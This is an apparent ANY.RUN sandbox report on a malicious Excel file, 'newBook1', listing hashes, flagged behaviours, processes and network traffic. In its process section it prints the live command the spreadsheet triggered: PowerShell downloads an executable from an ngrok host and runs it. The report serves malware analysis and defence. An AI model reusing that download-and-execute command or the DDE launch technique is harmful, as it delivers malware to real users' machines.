analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

newBook1

Full analysis: https://app.any.run/tasks/2e35b598-2ca9-42ff-a5d9-708131249316
Verdict: Malicious activity
Analysis date: April 25, 2019, 11:17:45
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

150FD6C8DC3AB595BE4FFF8F72C2CF60

SHA1:

45C179601C6A7FEF63B28ECD320F04F42B36F014

SHA256:

BE8938F4CE9204A21F77BA8E1F65C689A7948B85F6A165B1ADA4250B912B03A9

SSDEEP:

768:gx7JGg8YsJYQ5r5WhENFMFAjuvdCLk2Tos4wXWNPIjJM2IKCbZEAoxG4awkm:gxFr7ar5KEN6FA7LovgjJSuXawkm

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 2812)

    • Executes PowerShell scripts

      • CMD.EXE (PID: 3276)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2812)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3732)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2812)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlsx | Excel Microsoft Office Open XML Format document (61.2)
.zip | Open Packaging Conventions container (31.5)
.zip | ZIP compressed archive (7.2)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xd669513f
ZipCompressedSize: 359
ZipUncompressedSize: 1339
ZipFileName: [Content_Types].xml

XMP

Creator: -

XML

LastModifiedBy: -
CreateDate: 2019:04:25 03:04:51Z
ModifyDate: 2019:04:25 03:04:51Z
Application: Microsoft Excel
DocSecurity: None
ScaleCrop: No
HeadingPairs:
  • Worksheets
  • 1
TitlesOfParts: Sheet1
Company: -
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
AppVersion: 12
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2812"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
3276CMD.EXE /c powershell.exe (New-Object System.Net.WebClient).DownloadFile(\"http://4d10e1a9.ngrok.io\",\"xlsx-meta.exe\");Start-Process \"xlsx-meta.exe\"C:\Windows\system32\CMD.EXE—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3732powershell.exe (New-Object System.Net.WebClient).DownloadFile(\"http://4d10e1a9.ngrok.io\",\"xlsx-meta.exe\");Start-Process \"xlsx-meta.exe\"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CMD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
822
Read events
728
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2812EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRFCB7.tmp.cvr —
MD5:—
SHA256:—
3732powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B0KNA3HG53JRWFJHTSGZ.temp —
MD5:—
SHA256:—
3732powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF132bf5.TMPbinary
MD5:5F9A7BF5388376D94C2EDCA422810BEC
SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C
3732powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:5F9A7BF5388376D94C2EDCA422810BEC
SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3732
powershell.exe
GET
402
18.216.53.253:80
http://4d10e1a9.ngrok.io/
US
html
1.63 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3732
powershell.exe
18.216.53.253:80
4d10e1a9.ngrok.io
Amazon.com, Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
4d10e1a9.ngrok.io
  • 18.216.53.253
unknown

Threats

PID
Process
Class
Message
—
—
Potential Corporate Privacy Violation
ET POLICY DNS Query to a *.ngrok domain (ngrok.io)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
newBook1